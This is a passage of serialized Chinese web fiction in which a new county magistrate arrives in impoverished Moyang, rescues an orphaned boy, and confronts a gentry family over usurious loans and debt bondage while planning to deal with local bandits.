只见江行舟指了指一旁的小毛驴,道:“小黑陪了我这一路,功劳不小,它肯定是要带着的。”
封砚初点头应道:“那是自然。”
江行舟也不客气,拍了拍小毛驴,“这下可美了吧,不用再托着我了。”小毛驴似乎能听懂似的甩甩头,哼叫了几声。
他说着从小黑身上将自己的行李拿下来,“劳烦将我的东西也放上去吧。”郑伟接过行囊十分利索的装车。
随后看见封砚初好奇的眼神,笑道:“我这一路上,也没个人与我说话,就和它聊天,倒是能排解寂寞。”
封砚初笑了笑,作出一个请的姿势,“先上车吧。”
两人上了马车,江行舟长舒一口气,“幸而遇见你,只是那漠阳县的情况,你是否了解?”
封砚初说道:“我也只知皮**。听说那里民风彪悍,少雨干旱,估计十分贫苦,若是再有剥削,恐怕百姓的生活更艰难。至于其他的,所知也不多,即使漠阳真有什么,当地也会瞒着。”
若说前几日还能在路上碰见行人,可随着渐渐西行,除了白茫茫的雪地和那从来没有停歇的寒风以外,不见一人。
直到一个由黄土建造而成的城墙出现在视野里,漠阳县终于到了!
城门大开着,两个守卫的门军缩在一角烤火,嘴里嘟嘟囔囔的不知在抱怨着什么。只有碰见进城的百姓,才会起身上前,登记收进城费。然而北风呼啸,行人稀疏,除非必要,又怎会有人轻易外出?
所以,当这两人看见一行马车驶来时,那双眼简直在放光。
一个年轻些的眼神好,指着不远处的马车兴奋道:“周叔!快看,马车,还不止一辆,肯定是个大户,这下发啦!”
另一个年岁大些,叫周叔的猛拍了年轻人一下,“土娃,你想啥好事呢?听说上面要派新的县令,这肯定就是了,还不赶紧迎接!”说话间整了整自己的衣裳。
那个叫土娃的,皱眉道:“哎呀,万一是商队呢?”
“屁话,自从边贸被禁,哪里还会有商人往咱们这个穷地方跑?”周叔踹了对方一脚,然后哆哆嗦嗦的站到自己原本应该在的位置上。
封砚初老远就看到那土城上面写着‘漠阳县’三个大字,不禁眉头轻皱。
江行舟却**以为常,“没见过吧?虽然我也没见过,但一些偏远贫穷的地方都这样。”
马车刚到城门口,那个年纪大些的立即上前行礼,“敢问可是新到任的县令大人?”
封砚初闻声掀开帘子,“正是,有事?”
“小的守门军周大林拜见大人,回大人的话,县衙后宅已经全部收拾出来了,就等您入住。”周大林赶紧说着,而身后的土娃则有些战战兢兢地跟在身后学。
“哦?费心了。”漠阳县已经好几年没有县令了,因为没人愿意来这个穷地方。封砚初原本已经做好了,县衙破旧不堪的准备,没想到竟然提前收拾好了。
周大林脸上带着笑,“自从接到命令之后,胡主簿就让人将后衙修缮了一番,里头都已打扫,一应东西都也布置妥当了。”
外头寒风凛冽,封砚初见这个叫周大林的衣着单薄,难为对方顶风说了这么长时间,便随手拿出两枚银币和十几个铜板,“除了进城的车马费,剩余的就赏你们了。”
周大林咧嘴连连行礼作揖,“多谢大人,多谢大人!那小的给您带路?”
“不用了,
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你只需说在哪里就行。”封砚初拒绝了。
周大林正要给县令大人指路,没想到人家带着的仆人直接上前,“给我说就行。”
他赶紧给人说了位置,即使县令大人已经看不见了,依旧拘着礼,一直等马车消失不见,这才起身。
土娃立即凑上去,乐呵呵道:“这有二两多呢,发啦!”
周大林瞥了对方一眼,骂道:“瞧你那没出息的样子。”随后举起一枚一两的银币,“没听县令大人说吗?这个是进城的车马钱,连这个都敢贪,我看你这门军的职位是不想要了!”
“不敢不敢。”土娃吓得连连摆手。这门军可不是谁想当就能当的,别看成天轮守在这里,冬日还要顶着寒风苦熬。但是每月却有三百文呢,这可是一大笔收入,甚至偶尔还能见个荤腥,可以养活一家人。
周大林急步走向火盆,给里头添了些柴火,拿出那十几个铜板递给对方,“你也不要嫌少,要不是我,还没有呢。”
土娃笑嘻嘻的藏进怀里,“哪敢呢?要不是周叔,哪有我土娃的今日。”心里却盘算着,交班之后,先去李屠户那里割上二两肉,再去王二娘的酒馆里打一点酒,回去喝些暖暖肚子。
封砚初掀开一条缝向外看,街道上,只有零星几个行人,而且步履匆匆,两旁的商户也是大门紧闭,只有客人进入时才会打开。放眼望去,到处都是灰秃秃的,每当风刮过,地面就会扬起一阵尘土。
就在这时,郑伟惊呼道:“郎君,前头的墙角有个孩子!”
“去看看还有没有气。”封砚初听闻立即吩咐。
过了一会儿,郑伟的声音再次响起,“有气,还有气!”
“先抬上马车,等进了县衙看能不能缓过来。”这是封砚初第一次遇见几乎冻死之人。
第二百七十章 离开这个破地方
与漠阳县其他地方相比,这县衙已经是城内最好的地方。前衙是每日办公所在之处,而后衙就是县令一家的住处。不过,为了方便出行,后衙设有家眷出入之侧门。
所以,封砚初并未从堂前走,而是直接走的侧门。
“咚咚咚!”一阵敲门声响起,却无人开门。
他看向一旁的暮山。对方秒懂,‘蹭’地一下,越入院墙,紧接着门就被打开了。
思及官场的常态,江行舟的住处必定还没弄好,再加上只有他一人,不如先在这里待着,等收拾好之后再过去。
于是建议道:“江兄,时日已经不早了,你那里估计还是冰锅冷灶,不如今日就先在这里将就一晚,明日再着人收拾。”
江行舟正想着怎么开口,见对方提了,便笑着,“那敢情好,我现在啊,是又冷又饿,就想待在暖烘烘的屋子里,先解决这五脏庙。”
一行人进了后衙,封砚初一眼便看见主屋所在。进去一瞧,外头的正堂摆着桌椅,用作待客;左侧是书架桌案等物,而右侧却是一间内室,里头有一张大炕,并一些柜子箱笼等。虽然十分朴素,但收拾的倒也干净,只需略微擦一擦即可。
李妈妈和郑伟已经开始指挥下人搬东西。她进来扫了一圈,先是眉心一皱,随后四处转了转,摸了摸炕,点头道:“这里头倒是不冷,炕也是热的,应该是提前烧过了。”
又招呼着雪香,“去烧些水擦擦,赶紧拾掇出来,郎君饿了,一会儿还要做饭呢。”
封砚初看李妈妈忙碌的样子,以为她将那个救回来的孩子忘了,问道:“李妈妈,那个孩子如何了?”
“哦,专门有人照看着呢,且已经将他挪到了下房里,还放了郎君的手炉,盖上厚被子,现下已经缓过来了,只是还在发热,人也没醒。”这样的情形,李妈妈早年间也见过,旁人尽了力,至于能不能熬过去,全看他自己是否能挺过去。
听了这话,封砚初略微放心下来,吩咐道:“我记得带了些治疗伤寒的药丸,取一粒。”
“我知道收在哪里了,这就去取。”李妈妈又匆忙出去了。
就在众人一通忙活之际,终于有人听见了后衙的动静,连忙跑到过来,正欲呵斥,可打眼一瞧,立即将话头咽了下去,朝搬东西的郑伟问道:“这位小哥,敢问可是新任的县令大人到了?”
郑伟正搬东西,猛然被这声音吓了一跳,“是啊,怎么了?”
那人一听这话,连忙告罪,“小人赵常,是县衙的捕快,真是该死,竟未察觉县令大人已经到了,我这就去叫人来帮忙!”说着就要往前头去。
郑伟连忙将人叫住,“且慢,你们粗手粗脚的,大人的这些东西可不是轻易碰的,我们自己收拾即可。”他说到这里略作停顿,“哦,对了,江行舟江县尉也来了,此刻正与大人在屋子里说话呢。”
赵常已经反应过来,“我这就去叫人收拾江县尉的屋舍!”此刻,郑伟的这个透露,就表明一个信号,起码县令和县尉两人相熟。
其实胡主簿并非没有收拾江行舟的住处,只能说十分敷衍,毕竟对方不仅被贬至此,又没有背景。
赵常几乎是飞奔出去的,赶紧叫了几个值班的捕快衙役,又亲自去通知胡主簿。
其实这胡主簿,祖上也阔过。但就是太阔了
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,直接让太宗皇帝连根拔起,到他这一代,已然败落了。
所以,当他听说此次新任的县令姓封,乃是武安侯之子时,立即抓住这个机会,为的就是搭上关系,离开这个破地方!
“什么?已经到了!怎么现在才说!”胡主簿唇上的胡子一翘一翘的,眼中尽是不满。
“回大人,县令并未来前衙,是直接走的后衙,便知道的迟了些。而且同行的还有江县尉,此刻,两位大人都在后衙。”赵常连忙为自己辩解。
“赶紧派人给江县尉收拾收拾,然后去将醉香楼的厨子叫来,治一桌好菜,本官要宴请两位大人。”胡主簿一边吩咐着,一边匆匆出门。按时间来算,封县令还得几天才能到,没想到竟然提前了。
当胡主簿赶到之时,封砚初的房间已经收拾妥当。屋里点上了火炉,那是他特意从京城带来的,就是担心漠阳县没有,毕竟点火盆时时都要开窗散气,否则必定会中炭毒。
“郎君,胡主簿来了。”郑伟进来禀报。
封砚初可算是能喝上一口热茶了,“嗯,让他进来吧。”
胡主簿刚进门就行礼道:“下官漠阳县主簿——胡照山,拜见县令大人、江县尉。”
封砚初抬手道:“胡大人太客气了,请坐。”随后郑伟很有眼色的将任命书拿给对方看,这是规矩。
胡主簿自然清楚,他并未推拒,看过之后又还给郑伟,说道:“如今正值隆冬,二位大人远道而来,一路舟车劳顿实在辛苦。下官略备薄酒,请大人拨冗赐教。”
封砚初恰好也想进一步了解一下漠阳县的情况,并未推辞,“那就劳烦胡主簿了。”
第二百七十一章 人生地不熟,不可轻举妄动
饭桌上,胡主簿将漠阳县的情况又说了一遍,那就是一个字‘穷’!
前两年因为开着边贸,偶尔有路过的商队,还能稍微好些,可自从边贸被禁之,就愈发冷清起来。
“若仅仅如此也就罢了,这两年附近出现了一队马匪。原先那些人**勒索过路的商队,现如今商队没了,百姓就遭了殃。下官组织过几次围剿,可人家骑着马,咱们县里这么穷,两条腿怎么跑得过四条腿?下官给知府大人奏请过,可这些马匪忒狡诈,直接窜到临近的磁州,几次无果之后,也就不管了。”
胡主簿犹如打开了话匣子,滔滔不绝。因为漠阳苦寒,根本没人愿意来此地,即使来了也是一门心思想调走。漠阳已经两年多没有县令了,县尉也在一年前走了。现下整个漠阳县都是他一个主簿在负责。
封砚初是越听心越沉。不过,他看上了马匪的那几匹马。只是不知这胡主簿是否也看上了,还是仅此一说而已。
“马匪的消息这般灵通,胡主簿可想过问题所在?”他浅饮了一口酒,虽然比起京城的差了许多,但口感确实烈了不少。
胡主簿这才叹气道:“既然大人问起,下官也就实说了,这些马匪也并非莽夫。”说话间看向窗外,语气中尽是颓然和自嘲,“城内不乏一些富户,他们与马匪之间便有勾联,相互依存。这些人好几辈子都在这里生活,下官不过是小小主簿,如何斗得过?甚至下官还收到过箭矢,就是警告勿要多事!之后便不管了,也没能力管。”
这就是他为何请封县令吃饭,却未叫上本地乡绅富户的原因。不过想探一探对方的态度,若是想一心拔除毒瘤他就配合,以此能够搭上顺风车升迁;若只是下来镀金的,那便只当今日之言是放屁,此后再也不提。
此时此刻,封砚初并不知道,在他们还未进入漠阳地界,就被这帮马匪盯上了。
“大哥!前头来了好几辆马车,是个大户,只要将这伙人截了,咱们可就发财了。”其中的老三说起这话之时,眼睛都在发亮。
老二眯起眼睛望了好一会,“大哥,我瞅着能行,就前头那个拉车的马,都比你骑的这个,强出太多!”
马匪中的老大冷哼一声,骂道:“你们懂个屁!这些人能够畅通无阻的到达此处,肯定是有倚仗的,没看见那里头还有护卫吗?再说前段时间传来消息,漠阳要有新县令到任,我瞧着没准这伙人就是,别再捅了马蜂窝,走!”
其余人见此,也只能可惜的退走。就这样,封砚初一行人顺顺利利的到达了目的地。
马匪之事肯定要处理,当然还有与匪徒勾结之人。封砚初听完胡主簿的话并未着急表态,毕竟此人所言有几分真,几分假,怀有什么样的目的,还不得而知。
但客气的话还是要说的,“真是辛苦胡主簿了,这两年漠阳县大大小小的事情都要你处理,我才来漠阳,很多事情都不熟悉,还需要你多帮忙。”
胡主簿见对方并未表态,心中也理解,说道:“今天时辰已经不早了,待明日,下官便将公务交接给大人。”
一番寒暄之后,三人就散了。
夜幕已至,四周漆黑一片,幸而回去的路上,有马车两侧挂着的灯笼照明。寂静的街道上,只能听见马车碾过有些坑洼的土路时,发出‘咯吱咯吱’的响声,以及马蹄‘哒哒哒’前进的声音。
江行舟在桌上虽然说的很少,但他全程听得很认真,“
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方才依胡主簿之言,漠阳情况并不乐观,那帮马匪恐怕不止和城内富户有勾结,恐怕周遭临近的县城都有关系,更甚至有**勾结的内情,否则怎么可能这么多年都未解决,至于这胡主簿也说不准。”
封砚初十分认可,“也正因此,我才未表明态度,万一这胡主簿就是帮那些人试探我呢?先按下不发,咱们人生地不熟的,不可轻举妄动,还是先了解漠阳县的情况后再说。”
其实在他心里,即使边贸被关,但西戎和安怀部也需要生活,走私是避免不了的,这里头到底有多少牵扯仍旧需要探查。
回到县衙。
当他进了屋子,李妈妈正靠在火炉旁的椅子上打盹。
他见状,出声道:“妈妈,一路舟车劳顿,你快去歇着吧,以后不必等我。”
李妈妈被声音惊醒,“二郎啊,你回啦。炕已经铺好了,也不知你睡不睡的习惯,若是不习惯,赶明儿去一趟木匠铺制一张床。”
“我瞧着挺好的,不必费心。对了,那个孩子如何了?”封砚初问道。
“吃了药丸烧已经退了,你走没多久他就醒了,还吃了些饭,这会儿已经歇着了。”一说起这个,李妈妈来劲了,“那孩子名叫墩子,今年六岁,他爹欠了城中何家的钱,因没钱还,何家便拿他娘和姐姐抵账。前两日他爹也**,墩子便去何家找她娘和姐姐,谁知人家说压根没听过这俩人,还将人赶了出去,这两天幸亏有邻里接济,否则早**,如今也是无处可去。”
封砚初思索着什么,“哦,既如此,就先让那孩子在这里待着吧。”
“那敢情好。”说话间,李妈妈已经将水打好了,“二郎,洗漱过后,便歇着吧。”
第二百七十二章 我带你去何家可好?
(明天生日????(ˊωˋ*)????请假一天)
次日,虽**无云,然寒风不止。
才起床,就听见李妈妈的声音,这就是院子小的坏处,隔着院墙还能听见。
“哎哟,我的天呀,这也太脏了,等屋里暖和些,给他好好洗洗吧,这头发也不能留,都长虱子了!”
雪香看着那孩子脏兮兮的样子,有些嫌弃道:“这大冬天的,将头发剃了会冷的,别再吹病了。”
郑伟一边拍着被子,一边嫌弃道:“不剃,难道给我们也染上不成?再说郎君还住在这里呢,那么污糟,闯到郎君跟前怎么办?”
李妈妈找出一个羊皮帽子和一身干净衣裳,“咱们这里也没个孩子,这是我昨儿出门买的,要不是因为病着,早就给他换上了,还是二郎给的钱呢。”说着催促着,“快去,快去!”
就连暮山也难得开口说话,“是得洗洗。”
雪香瞧着这几人都很嫌弃,竟没人愿意,立即道:“哎呀,时辰不早了,我得去伺候郎君洗漱。”说着甩头离开。
郑伟见状立即道:“我去看一看郎君屋里的火还旺不旺。”
李妈妈将东西直接交到暮山手里,“我要去厨房瞧瞧,柳婆子的饭做的怎么样了,也好搭把手。”
一个叫文忠的小厮赶紧提起扫把道:“我去扫院子!”
另一个叫千顺的像是想起什么,“哎呀,这马还没喂呢!”
三等丫鬟灵雀见状叹道:“我去给那孩子剃头发,只能劳烦暮护卫烧火、提水、洗澡。”
暮山没想到他就是搭了个腔,这事就落到自己身上,“可是,我……”
灵雀立即催促着,“别可是了,赶紧去吧。总要让他见一见救命恩人,不然怎么往郎君跟前领?”说着便去找剪子和剃刀。
吃完早饭,封砚初便去了前衙的办公之地,没想到胡主簿早早就等着了。
“大人。”
“劳烦胡主簿了。”
足足忙碌了一日,胡主簿才将漠阳县的大致情况介绍完毕,文书也交接清楚了。
漠阳县的人口并不多,在册的不过六万多人,其中不到五千人在城中常驻;剩下的则在其他三个乡镇和各里各村分布着;此地多以耕种为主,有三分之二的土地控制在富户手里,包括县城里最挣钱的店铺,也都掌控在这些人手里。
而漠阳县原来连完整的城墙都没有,还是前几年才修补好的。总之,情况很差。
胡主簿又将几年的税收账本拿上来,“大人,这是近几年的税收情况,请您过目。”
封砚初为主事之时,就经常与这些账目之类的打交道,此刻自然不陌生,不过大致翻了翻,就已发现最近两年税收明显减少。
胡主簿见对方十分熟悉账目,便知道不是个虚架子,于是解释道:“前两年有商队经过,这里也热闹,商税就多些,自从边贸被关,又有马匪影响,导致商税大渐,现在一大半都靠着其他赋税支撑。而且衙门各项开支不小,如今还欠了朝廷两年的赋税。”
随后指着外头那三瓜两枣的捕快,“就这,连多余的衙役都不敢请,衙门里也就只有这二十来个顶着。”
眼见着天都要黑了,没想到封砚初竟在此时接到了帖子。原来是漠阳县的各富户听说新任县令已经到了的消息,特地宴请,请客的地点就在何家。
他看着手里的帖子嘴角扯出一抹笑,“告诉来人,就说本官会按时赴约!”
回去后衙,他这才有时间问起孩子的事,“那个孩子怎么样了?”
“已经收拾妥当了,郎君要见一见吗?”郑伟问道。
“嗯,将人带来,我有几句话要问。”
没一会儿,一个瘦猴子似的小男孩被带进来。封砚初虽昨日并未亲眼见着人,但现下看起来还可,起码能看了。
小男孩的
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脸颊不仅凹陷,还被风吹的已经皴了,泛着不正常的红;他身上穿着一身深色的棉衣,头上顶着一个羊皮帽子。或许因为太瘦,那双眼睛显得格外的大。
进来以后,怯生生的行了个似是而非的礼,“小的拜见大人。”这行礼的动作明显被教过,只是依旧不标准,而且声如蚊蝇。
郑伟推了推小男孩,“在大人跟前说话,声音要大些。”
封砚初见那孩子实在局促,摆摆手道:“罢了,他还小。你叫什么名字?”
男孩的声音终于大了一些,“小的名叫墩子。”
“听说你的母亲和姐姐进了何家就不见了,你找不到她们,对不对?”封砚初话音刚落,墩子的眼泪吧嗒吧嗒的掉下来。
“爹说娘和姐姐被何家的人抓去了,带着我去何家要人,结果爹被打了一顿,没多久就**。刘叔带我去何家见娘和姐姐,但他们说何家没根本没有娘和姐姐。”墩子这段时间可是遭了不少罪,要不是碰见封砚初一行人,不过是街角又多了一条命罢了。
一旁的郑伟有心提醒墩子要自称小的,不过瞧郎君并不在乎,也只当没发现。
“明日,我带你何家可好?”封砚初几乎是用生平最温和的语气在说话。
谁知墩子摇头道:“不去了,不去了,刘叔都被打了,万一你也被他们打一顿怎么办?”在他心里,眼前这位大人是好人,不想对方受伤。
“打我?他们可不敢。”封砚初从桌上拿起一块点心递给墩子,“所以,明日我带你去,怎么样?难道你不想见见你娘和姐姐了?”
墩子眼巴巴的看着点心,咽了咽口水,点头道:“相见!那我明日跟你一起去。”
封砚初笑着点点头,又将点心往前递了递,“拿着吃吧。”
墩子一想到明日能见到娘和姐姐,心情好了不少,接过点心啃了起来,随后眼睛一亮,吃的更大口了。
第二百七十三章 竟有这样的父亲
第二日,临近午时。
封砚初见快到时间了,便带着墩子一起往何家,身后还跟着暮山。
天气依旧干冷,还吹着风。可能是因为即将午时,街道上的人竟然比前日他们进城门时,还多了些。
他们衣着不凡,自然引起行人的注目礼,有的甚至还大声议论,丝毫不避着。
一个行人目不转睛的从街头望到街尾,“这两人谁啊?咱们这儿什么时候来了这么体面的人?”
肉铺的李屠户扫见这一幕,出了铺子,得意道:“这肯定是新来的县令大人!前儿守门的土娃给我说过这事,他还割了二两肉回去呢!”
对门的王二娘瞥了李屠户一眼,不屑道:“好像谁不知道一样!土娃还来我这里打了三两酒,说是县令大人进城门时赏的,不过那不是墩子吗?他怎么跟在县令大人身边?”
布庄的章掌柜缩着脖子瞅了一眼,“我知道,前儿天擦黑时,我都要关铺子了,县令家的下人来我这里买了一身衣裳和一顶羊皮帽子,现在看来,就是给那孩子买的,可真舍得呀。”
李屠户啧啧道:“哎呀,看来这墩子走运了,我还以为他撑不过今冬呢。”
“不过我瞧着这县令的年岁应该不大……”
“还用你说……”
……
随着封砚初走远,渐渐离了人群,暮山缓缓松了一口气,他从来没被人这么盯着看过,一时之间有些不自在。
封砚初却无所谓,又不是没见过。这就相当于他前世回村,在村口碰见的老头老太太,这些人最爱干的就是道东家长西家短,一碰见人恨不得看个窟窿,顺带再评判一番。
漠阳县并不大,不过一刻钟,几人就来到何家门前。
“咚咚咚。”
何家下人将门打开一瞧,只见一位衣着不凡,气度翩翩的年轻人站在门前,身旁还跟着一个持着刀的护卫,吞了吞口水,连忙点头哈腰的行礼,“大人里边请!”
当封砚初走进去,发现里头的建筑是由砖瓦建成的房屋和院落组成,前院栽着几棵树,只是正值隆冬,树枝上没有一片叶子,除此之外并无其他景致。
他才走了不远,就见为首一个胖乎乎的中年男人,带着十几人匆忙赶到,行礼道:“何怀仁携众乡绅拜见封大人。”
封砚初脸上带着笑,看起来似乎没有那种高高在上的感觉,“诸位客气了,封某受邀,今日特来赴宴。”
何怀仁立即做了个请的姿势,“外头寒冷,大人里头请,酒宴已经备齐。”
封砚初微微点头,随即率先朝前走去。穿过了几道院门,终于到达目的地。
刚进屋子,‘烘’的一下,热气扑面而来,一旁的一丫鬟立即上前接着他脱下来的大氅。
何怀仁眼神一扫,便知这大氅不便宜,立即叮嘱咐着,“大人的衣裳可要妥当保存,若是脏了坏了拿你试问。”转头对着封砚初堆笑,“大人请上座。”
封砚初并未拒绝,径直坐于上座,周围的人也依次坐一圈,然后纷纷介绍起自己,他一一点头应了。
没一会儿,酒菜都已上桌,何怀仁又道:“都是一些粗茶淡饭,入不得大人的眼,还请大人不要嫌弃。”
封砚初看着这一桌子菜,虽然称不上精致,但也是花了不少心思。他脸上挂着笑,声音听不出喜怒,“若这是粗茶淡饭,那封某以前吃的岂不是都入不了口了?”
另一个叫夏琨的赶紧说道:“大人太过谦虚,您出身武安侯府,岂是我们这些人比得?”
“是啊,是啊,今日大人竟步行而来,可见您平易近人,漠阳县就盼着能遇到您这样的父母官。”另一个叫任世觉得跟声赞道。
何怀仁很有眼色,见封砚初只是淡淡的敷衍,举起酒杯,“今日大人肯赏脸来,已经是何家莫大的荣幸,小人敬您一杯。”<
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br>封砚初亦举起酒杯回应,但只是略沾了沾,并未喝尽,紧接着,大家便开始寒暄奉承,喝酒吃菜。
直到一阵琵琶声响起,一个衣衫单薄,身姿婀娜的女子边弹边唱,声音倒是婉转,只是这琵琶的水准只能说中上。
何怀仁一边佯装听着琵琶声,一边用余光偷偷打量封砚初,见对方听得认真,随即嘴角浮出一抹得意的笑。
一曲终了,便问道:“大人,如何?”
封砚初眸中依旧清冷,他并未回答,只是嘴唇弯起,反问,“不知这位弹琵琶的娘子是何人?”
何怀仁以为对方感兴趣,“这是小女,听闻今日有贵客来,特意献上。”
封砚初心中冷笑,这姓何的竟让自己的女儿,在一众男人跟前献媚,只是不知是真女儿,还是假女儿。
他不紧不慢道:“歌喉倒是婉转……”说到这里故意停顿,“只是这琵琶只能说中上。”说完之后故意看向对方。
这姓何的颇有城府,面上不显,依旧是一副乐呵呵的样子,“有一项能拿的出手就已经很好啦,大人出身不凡,自幼耳濡目染,能得大人一句中上就已经是她的福分了。”
而封砚初听了何怀仁的奉承似乎很受用,脸上也变成傲然之色,“那是当然,我们武安侯在京中也是数的着的,自幼那都是琴棋书画样样不落,即使不精通,那也不能不会赏。”言至此处,叹道:“要不是父亲为了历练我,又何至于到漠阳这个贫寒之地。”
何怀仁听了这话,心中更是乐开怀,此人终于卸下那平易近人的伪装。看来是下来镀金的,只要将对方好好哄住,等三年任期一满,直接走人即可。
“是小人浅薄了,可惜被困此地,竟无缘一睹侯府威仪,实在可惜。”又看向那女子,“兰芝,还不过来为封大人斟酒。”
那叫兰芝的女子放下琵琶,行礼道:“是,父亲。”
第二百七十四章 什么侯门公子,还不是贪得无厌
可封砚初接下来的话,几乎让何怀仁颜面尽失。他抬手道:“既是何乡绅的女儿,怎可做这些事情,更何况我瞧何娘子衣着单薄,又弹唱了好一会儿,想必累了,不如下去更衣歇着,大家若是想赏曲,不如去请乐姬来。”他说完这话看向众人。
这几乎是在说那是你何家的女儿,你身为父亲竟如此糟践自己的女儿,让她当着一众男人做此姿态。
大家也是一脸尴尬,纷纷打着哈哈附和着。
何怀仁面上一僵,随后挥手道:“还不赶紧下去!”又对封砚初拱手,“是小人招待不周了。”
封砚初似笑非笑道:“女儿是娇客,咱们都是男人,怎能让她这般出来献曲呢?”紧接着朝一旁正在咽口水的墩子招招手,“墩子,过来。”然后给碗里夹了一些饭菜,递过去,“吃吧。”
那个叫夏琨的想要打破这尴尬的氛围,立即奉承,“大人真是菩萨心肠,竟然还想着这低贱的下人。”
封砚初转头看过去,声音里带着些许轻蔑,“我出身武安侯府,即使是身边的下人也会善待的,更何况,他并不是下人,而是我前日进城时,在街上救的一个孩子。”
另一个人见此立即说道:“大人不愧是漠阳县的父母官,当真怜贫惜弱,实乃百姓之福音。”
封砚初并未接话,而是看向何怀仁,“对了,何乡绅。这孩子的父亲欠了你家的钱财,而你何家竟将他的母亲和姐姐抓了。前些日子,他父亲也被何家人殴打致重伤,最后不治而死。这是欠了多少钱呐,哪至于让人赔命?正好大家都在,说出个数目我听听。”
何怀仁立即起身,拱手行礼,“请大人明鉴,何家乃是漠阳县的乡绅,绝不会作出这等恶劣之事,此乃子虚乌有,不过是有人眼馋我何家富贵,侮蔑而已。”
“哦?这么说此事是假的?”封砚初面上看似带着笑,可说出来的话却让人不禁心头一滞。
“自然是假的,我何家一向与民为善。”何怀仁心中暗恨县令不按常理出牌,更觉得对方为一个不足轻重的贱民出头,就是给何家难堪。
封砚初也没废话,对一旁的暮山道:“拿出来给何乡绅看一看。”既然今日要赴何家的宴,所以,昨日他早就让人去了一趟墩子家,果然翻找出一张借据和抵押的契书。
不仅如此,还朝其他向何家借钱之人打听了一番,并要来了各种契据,但此刻并不是将它们拿出来的好时机,所以,暮山只将其中两张契据拿到何怀仁眼前。
封砚初从中随意挑出一张,冷笑着,“借银十两,一年后还五十两,若按期未还,自愿将三亩良田抵押于何家。”
又捻起另外一张,“今方大有借何家银五两,麦一斗,半年后,还银二十五两,还麦三斗,若到期未还,则拿妻女抵债。”
“何怀仁,你还真是致富有方啊!就是外头的印子钱都没你狠啊!今日本官算是开了眼。如此,不知可否请何乡绅将人叫出来,也好让人家母子相叙。”
何怀仁立即辩解,“大人明鉴,这都是家中下人打着我何家的名义干的,小人实在不知。”随后朝一旁喊道:“还不将何二叫来!”
那个名叫何二的下人,刚连滚带爬的进来,就被何怀仁一脚踹翻在地,指着鼻子骂道:“好你个畜牲,我怜惜你家里都是老弱妇孺,让你替我管家,没想到你竟然打着我何家的名义在外头胡作非为!说!这方家母女现下在何处?”
何二眼睛一闭,心一沉,不停地叩头请罪,“请大人恕罪,奴才将那方家母女抓回来没多久,那二人就一病**!至于这些契
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书和借据,实在是因为奴才好赌,何家给的钱实在不够,为了填补这个窟窿,这才打着何家的名义勒索!小人该死!是小人贪财!”他的头‘邦邦邦’的在地上磕着。
何怀仁面上一副痛心疾首的模样,“大人,是小人治家不严,管教不当,竟让这起子奴才钻了空子。小人愿赔偿方家五十两银币,全当补偿,若是以后这孩子想要读书习武,我何家必定负责到底,从今以后,就当自己儿子看待。”
封砚初也没想着今日就能解决此事,毕竟比起平静无波的漠阳县,只有让这水底的魑魅魍魉翻滚起来,才会有一网打尽的机会。
“没想到何家竟有此刁奴,那何乡绅以后这眼睛可要擦亮啊。”封砚初又换成一副笑模样。
“是,大人,小人以后必定严谨治家。”何怀仁赶紧再次行礼。
“罢了,这饭也吃了,本官便不多留,诸位自便。”封砚初说着就起身朝门口走去。
等穿上大氅之后,看向候在一旁,且无动于衷的何怀仁,像是想起什么,伸手道:“对了,你不是说要赔偿方家五十两银币吗?拿来!”
“哦……哦!”何怀仁这才反应过来,“小人这就去取。”
说罢,出门离开,没一会儿又回来,将一个盒子交给封砚初,意味深长道:“这是小人的赔偿。”
封砚初接过盒子一掂量,这里头起码有三百两,仿佛他今日就是来勒索的,“暮山,拿着。”
一直将人送出何家大门,何怀仁这才变了脸色,看向其余人,“宴已结束,何某就不多留诸位了。”
心中却骂道:什么侯门公子,还不是贪得无厌,打着为方家讨公道的名义索要钱财。
而这些人见此,也纷纷告辞,心里却在盘算着,怎样合理地给县令送礼。
第二百七十五章 让外人瞧见了不好
刚出何家大门,封砚初就瞥见墩子在默默的掉眼泪,仰头问问他,“大人,我娘和姐姐当真病**吗?”
“不知道。”封砚初心里已经有了不好的预估,但这怎么对一个年幼的孩子吐露。
“那就是说我娘和姐姐还活着。”墩子的眼睛顿时亮了。
封砚初听后,心中轻叹,“不知道,不过我会还你一个真相的。”这是墩子仅有的亲人了,在没有明确的结果之前,他并不准备说丧气话。
当他回到县衙,迎头就碰见了江行舟,对方见暮山手上捧着一个匣子,眉毛一挑,“呦呵,看来此行颇丰啊~”
封砚初朝暮山挥手道:“交给郑伟,让他单另登记,对了里头的五十两是墩子的赔偿,别混淆了。”
“是,郎君。”暮山拉着墩子朝后衙走去。
直到两人进了屋子,江行舟这才问道:“此行情况如何?”
封砚初闻言,眼睛便敛去大半光亮,瞳孔深得像是冰冷的深潭,唇边勾起一抹冷笑,“犹如漠阳之豺狼,害人不浅。那何怀仁更是无耻之尤,竟将自己的女儿当做那秦楼楚馆的风尘女一般,让其堂献艺取乐,还让她给我斟酒,真打着什么算盘,我岂会不知,之后便顺势打发了。”
江行舟听了这话,摇头道:“你出身不凡,这何家自然惦记,即使做个妾也是好的。不过,这当真是他女儿?”
封砚初神色依旧是一副冷冰冰的模样,“谁知道呢?不过他将所做的一切都推到下人身上,甚至当场叫来,还用家人威胁。”
“你不抓人是对的,那下人全家的身家性命都在何家手里,即使抓进大牢也无用。”这些人其实也请了江行舟,只是他知道即使自己去,不过是陪衬而已,索性拒绝。
“看着吧,明日……不!或许今晚,那个叫何二的就会自尽而亡,这便是何家给我这个县令的交代。”封砚初并不同情何二,何家固然可恶,此人也不无辜。
“唉,可惜咱们手头没人,外头那些捕快根本不管用,别说出力,只怕还会通风报信。”江行舟一片愁容,此刻他很庆幸封砚初是县令,有人与他一起承担,否则只会更艰难,“这些人势力不小,更别说城外还有马匪,此地的兵估计也不好用,否则怎么可能这么多年过去,那些马匪还在为祸百姓?”
“先摸清情况,收集证据,然后将城内这些蛀虫和马匪一网打尽!”封砚初指尖轻轻敲击着桌面,“没有人,那便从寒州借兵!”说到这里,他抬眼看向对面的江行舟,“比起漠阳这些仕绅给的三瓜俩枣,我相信,在寒州那些人心里,仕途更重要!”
他父亲虽然在吏部,管不上武将的考评;但表兄安槐序乃是兵部侍郎,武将的考评虽然陛下偶尔也会参与,但大多数情况还是兵部负责的。
江行舟听后点点头,笑得意味深长。胡主簿办不成的事,不代表封砚初办不到,武安侯那可是吏部侍郎,这些人自然会上心。
